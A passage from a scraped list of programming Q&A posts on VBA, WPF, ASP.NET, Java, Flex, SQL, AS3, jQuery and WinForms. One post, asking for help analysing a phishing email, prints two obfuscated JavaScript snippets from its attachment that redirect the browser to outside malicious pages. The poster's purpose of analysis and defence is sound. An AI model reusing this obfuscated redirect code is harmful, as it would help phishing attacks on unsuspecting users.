1").Activate ActiveChart.SeriesCollection(1).Values = "=Occurences!R2C3:R12C3" End Sub Sub OccurencesByPercentIncreaseToScore() ' ' OccurencesByPercentIncreaseToScore Macro ' Macro recorded 4/9/2010 by Chris Greenlee ' ' Keyboard Shortcut: Ctrl+p ' ActiveWindow.Visible = False Windows("QA Project - Automated Charts v1.1.xls").Activate Sheets("Occurences").Select Range("A1:D58").Select Range("D58").Activate Selection.Sort Key1:=Range("D2"), Order1:=xlDescending, Header:=xlGuess, _ OrderCustom:=1, MatchCase:=False, Orientation:=xlTopToBottom Sheets("Chart").Select ActiveSheet.ChartObjects("Chart 1").Activate ActiveChart.SeriesCollection(1).Values = "=Occurences!R2C4:R12C4" End Sub The problem occurs with this line Windows("QA Project - Automated Charts v1.1.xls").Activate

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  • What is the behavior of a WPF 4 ControlStoryboardAction trigger?

    - by jonathan_ou
    Hi all! I have a question that's been bugging me for a while: I have a lengthy IO operation which I invoke asynchronously, and I want my UI to show a blinking text to tell the users that the data is loading. I have an IsLoading boolean property in my ViewModel, and I used a ControlStoryboardAction to kickoff the blinking animation, which is set to repeat forever. For my ControlStoryboardAction trigger, I configured a data trigger to see if IsLoading is true, and start my storyboard if true. My problem is, when my IO operation returns, and I set IsLoading back to false, the animation continues to play. I thought once the trigger condition evaluated to false, it would stop the animation? I then added a second ControlStoryboardAction to stop the animation if IsLoading evaluted to false, but this didn't have any effect. The animation continued to play after IsLoading was false. Can anyone explain to me how trigger works in ControlStoryboardAction? In normal data triggers in WPF, once the condition evaluated to false, the property would be set back to its original state. It seems triggers in WPF actions don't work the same way? Thanks in advance for your help!

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  • Using WebParts results in blank page

    - by dale
    Hi, I'm developing an ASP.NET (C#) application using EPiServer CMS 5. On the startpage we have four WebPart-zones and everything works great running it through Visual Studio. When publishing it to the production-server the startpage shows as a blank page, no error what so ever... When we remove these lines of code it works, so it has something to do with the WebParts. <WebParts:ExtendedWebPartManager ID="WebPartsManager" runat="server"></WebParts:ExtendedWebPartManager> <WebParts:ExtendedWebPartZone WebPartProperty="WebPartZone1" runat="server" ID="WebPartZone1" PartChromeType="None" AllowLayoutChange="false" Padding="0" PartChromePadding="0" Width="100%"></WebParts:ExtendedWebPartZone> <WebParts:ExtendedWebPartZone WebPartProperty="WebPartZone2" runat="server" ID="WebPartZone2" PartChromeType="None" AllowLayoutChange="false" Padding="0" PartChromePadding="0" Width="100%"></WebParts:ExtendedWebPartZone> <WebParts:ExtendedWebPartZone WebPartProperty="WebPartZone3" runat="server" ID="WebPartZone3" PartChromeType="None" AllowLayoutChange="false" Padding="0" PartChromePadding="0" Width="100%"></WebParts:ExtendedWebPartZone> <WebParts:ExtendedWebPartZone WebPartProperty="WebPartZone4" runat="server" ID="WebPartZone4" PartChromeType="None" AllowLayoutChange="false" Padding="0" PartChromePadding="0" Width="100%"></WebParts:ExtendedWebPartZone>

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  • Can I add a function to enums in Java?

    - by Samuel Carrijo
    Hi, I have an enum, which looks like public enum Animal { ELEPHANT, GIRAFFE, TURTLE, SNAKE, FROG } and I want to do something like Animal frog = ANIMAL.FROG; Animal snake = ANIMAL.SNAKE; boolean isFrogAmphibian = frog.isAmphibian(); //true boolean isSnakeAmphibian = snake.isAmphibian(); //false boolean isFrogReptile = frog.isReptile(); //false boolean isSnakeReptile = snake.isReptile(); //true boolean isFrogMammal = frog.isMammal(); //false boolean isSnakeMammal = snake.isMammal(); //false Can I do it in Java?

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  • What does this Javascript do?

    - by nute
    I've just found out that a spammer is sending email from our domain name, pretending to be us, saying: Dear Customer, This e-mail was send by ourwebsite.com to notify you that we have temporanly prevented access to your account. We have reasons to beleive that your account may have been accessed by someone else. Please run attached file and Follow instructions. (C) ourwebsite.com (I changed that) The attached file is an HTML file that has the following javascript: <script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script> Another email had this: <script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script> Can anyone tells me what it does? So we can see if we have a vulnerability, and if we need to tell our customers about it ... Thanks

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  • Flex ItemRenderer Issue

    - by Aswath
    Am using Checkbox as ItemRenderer in tilelist. Am trying to setting checkbox selected values through xml. I got the values perfectly.. but checkbox could not bind the values(could not accept that). It's automatically sets true for all checkboxes. This is my xml <PmhTreeAllow> <PmhTreeAllowname id='1' label ='Allow Text' isField='false'/> <PmhTreeAllowname id='2' label ='Document Link' isField='false'/> <PmhTreeAllowname id='3' label ='Test Results Entry'isField='false'/> <PmhTreeAllowname id='4' label ='Dummy' isField='false'/> </PmhTreeAllow> My Tilelist.. <mx:TileList id="tileList" width="160" height="100%" textAlign="left" horizontalScrollPolicy="off" verticalScrollPolicy="off" dataProvider="modelInstance.optionCollList}" columnCount="1" backgroundAlpha="0" borderStyle="none"itemRenderer="com.Frontend.views.treeStructure.myTileList" useRollOver="false" rowHeight="28" itemClick="tileItemClick(event)" columnWidth="150" selectedIndex="0" x="10" y="0"> Check box ItemRenderer.. <?xml version="1.0" encoding="utf-8"?> <mx:CheckBox xmlns:mx="http://www.adobe.com/2006/mxml" label="{data.@label}" selected="data.@isField}"/> Thanks in Advance Ashok

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  • Select number of rows for each group where two column values makes one group

    - by Fábio Antunes
    I have a two select statements joined by UNION ALL. In the first statement a where clause gathers only rows that have been shown previously to the user. The second statement gathers all rows that haven't been shown to the user, therefore I end up with the viewed results first and non-viewed results after. Of course this could simply be achieved with the same select statement using a simple ORDER BY, however the reason for two separate selects is simple after you realize what I hope to accomplish. Consider the following structure and data. +----+------+-----+--------+------+ | id | from | to | viewed | data | +----+------+-----+--------+------+ | 1 | 1 | 10 | true | .... | | 2 | 10 | 1 | true | .... | | 3 | 1 | 10 | true | .... | | 4 | 6 | 8 | true | .... | | 5 | 1 | 10 | true | .... | | 6 | 10 | 1 | true | .... | | 7 | 8 | 6 | true | .... | | 8 | 10 | 1 | true | .... | | 9 | 6 | 8 | true | .... | | 10 | 2 | 3 | true | .... | | 11 | 1 | 10 | true | .... | | 12 | 8 | 6 | true | .... | | 13 | 10 | 1 | false | .... | | 14 | 1 | 10 | false | .... | | 15 | 6 | 8 | false | .... | | 16 | 10 | 1 | false | .... | | 17 | 8 | 6 | false | .... | | 18 | 3 | 2 | false | .... | +----+------+-----+--------+------+ Basically I wish all non viewed rows to be selected by the statement, that is accomplished by checking weather the viewed column is true or false, pretty simple and straightforward, nothing to worry here. However when it comes to the rows already viewed, meaning the column viewed is TRUE, for those records I only want 3 rows to be returned for each group. The appropriate result in this instance should be the 3 most recent rows of each group. +----+------+-----+--------+------+ | id | from | to | viewed | data | +----+------+-----+--------+------+ | 6 | 10 | 1 | true | .... | | 7 | 8 | 6 | true | .... | | 8 | 10 | 1 | true | .... | | 9 | 6 | 8 | true | .... | | 10 | 2 | 3 | true | .... | | 11 | 1 | 10 | true | .... | | 12 | 8 | 6 | true | .... | +----+------+-----+--------+------+ As you see from the ideal result set we have three groups. Therefore the desired query for the viewed results should show a maximum of 3 rows for each grouping it finds. In this case these groupings were 10 with 1 and 8 with 6, both which had three rows to be shown, while the other group 2 with 3 only had one row to be shown. Please note that where from = x and to = y, makes the same grouping as if it was from = y and to = x. Therefore considering the first grouping (10 with 1), from = 10 and to = 1 is the same group if it was from = 1 and to = 10. However there are plenty of groups in the whole table that I only wish the 3 most recent of each to be returned in the select statement, and thats my problem, I not sure how that can be accomplished in the most efficient way possible considering the table will have hundreds if not thousands of records at some point. Thanks for your help. Note: The columns id, from, to and viewed are indexed, that should help with performance. PS: I'm unsure on how to name this question exactly, if you have a better idea, be my guest and edit the title.

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  • Flash As3 Mute Button problems

    - by Lee
    Hey guys, I am trying to create a UI movie clip that can be used across different scenes. It uses variables from the root scope to determine states. When i press the mute button is works fine, however when i try to un-mute things go weird. Sometimes it takes 2 clicks to unmute, sometimes more. It seems random. Muting however seems to work first time.. Any ideas? Main Timeline: var mute:Boolean = false; var playerName = "Fred"; function setMute(vol) { var sTransform:SoundTransform = new SoundTransform(1,0); sTransform.volume = vol; SoundMixer.soundTransform = sTransform; } function toggleMuteBtn(event:Event) { if (mute) { // Sound On, Mute Off mute = false; setMute(1); ui_mc.muteCross_mc.visible = false; } else { // Sound Off, Mute On mute = true; setMute(0); ui_mc.muteCross_mc.visible = true; } } ui_mc Action Script: if (MovieClip(parent).mute == false) { muteCross_mc.visible = false; } mute_btn.addEventListener(MouseEvent.CLICK, MovieClip(parent).toggleMuteBtn);

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  • jQuery ui Accordion degrades in IE6 or IE7, but is working in IE8

    - by cfree
    There are two accordions on my page, with custom accordion CSS in another file, differentiated by class and ID names so as not to conflict with each other. The accordions don't show up at all, they just degrade to showing all the content at once, as if all the accordion styling is gone. The accordions are both called around the middle of the page, and there's no difference if they are loaded with $(document).ready. What should I check for in the CSS files? There are no inline-block uses. I am using jQuery 1.3.2.min and jQuery ui 1.7.2, so I'm assuming the autoHeight set to false won't make a difference... This is being used inside a Symfony-based site. Works fine in FF, IE8, Chrome. Not so much in IE6, IE7/IE8 compatibility mode. $(function() { $("#accordion").accordion({ active: false, autoHeight: false, collapsible: true, icons: { 'header': 'ui-icon-carat-1-e', 'headerSelected': 'ui-icon-carat-1-s' }, }); $(".links").accordion({ active: false, autoHeight: false, collapsible: true }); });

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  • Binding Source suspends itself when I don't want it to.

    - by Scott Chamberlain
    I have two data tables set up in a Master-Details configuration with a relation "Ticket_CallSegments" between them. I also have two Binding Sources and a Data Grid View configured like this (Init Code) // // dgvTickets // this.dgvTickets.AllowUserToAddRows = false; this.dgvTickets.AllowUserToDeleteRows = false; this.dgvTickets.AllowUserToResizeRows = false; this.dgvTickets.AutoGenerateColumns = false; this.dgvTickets.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; this.dgvTickets.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.cREATEDATEDataGridViewTextBoxColumn, this.contactFullNameDataGridViewTextBoxColumn, this.pARTIALNOTEDataGridViewTextBoxColumn}); this.dgvTickets.DataSource = this.ticketsDataSetBindingSource; this.dgvTickets.Dock = System.Windows.Forms.DockStyle.Fill; this.dgvTickets.Location = new System.Drawing.Point(0, 0); this.dgvTickets.MultiSelect = false; this.dgvTickets.Name = "dgvTickets"; this.dgvTickets.ReadOnly = true; this.dgvTickets.RowHeadersVisible = false; this.dgvTickets.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.dgvTickets.Size = new System.Drawing.Size(359, 600); this.dgvTickets.TabIndex = 0; // // ticketsDataSetBindingSource // this.ticketsDataSetBindingSource.DataMember = "Ticket"; this.ticketsDataSetBindingSource.DataSource = this.ticketsDataSet; this.ticketsDataSetBindingSource.CurrentChanged += new System.EventHandler(this.ticketsDataSetBindingSource_CurrentChanged); // // callSegementBindingSource // this.callSegementBindingSource.DataMember = "Ticket_CallSegments"; this.callSegementBindingSource.DataSource = this.ticketsDataSetBindingSource; this.callSegementBindingSource.Sort = "CreateDate"; //Function to update a rich text box. private void ticketsDataSetBindingSource_CurrentChanged(object sender, EventArgs e) { StringBuilder sb = new StringBuilder(); rtbTickets.Clear(); foreach (DataRowView drv in callSegementBindingSource) { TicketsDataSet.CallSegmentsRow row = (TicketsDataSet.CallSegmentsRow)drv.Row; sb.AppendLine("**********************************"); sb.AppendLine(String.Format("CreateDate: {1}, Created by: {0}", row.USERNAME, row.CREATEDATE)); sb.AppendLine("**********************************"); rtbTickets.SelectionFont = new Font("Arial", (float)11, FontStyle.Bold); rtbTickets.SelectedText = sb.ToString(); rtbTickets.SelectionFont = new Font("Arial", (float)11, FontStyle.Regular); rtbTickets.SelectedText = row.NOTES + "\n\n"; } } However when ticketsDataSetBindingSource_CurrentChanged gets called when I select a new row in my Data Grid View callSegementBindingSource.IsBindingSuspended is set to true and my text box does not update correctly (it seems to always pull from the same row in CallSegments). Can anyone see what I am doing wrong or tell me how to unsuspend the binding so it will pull the correct data?

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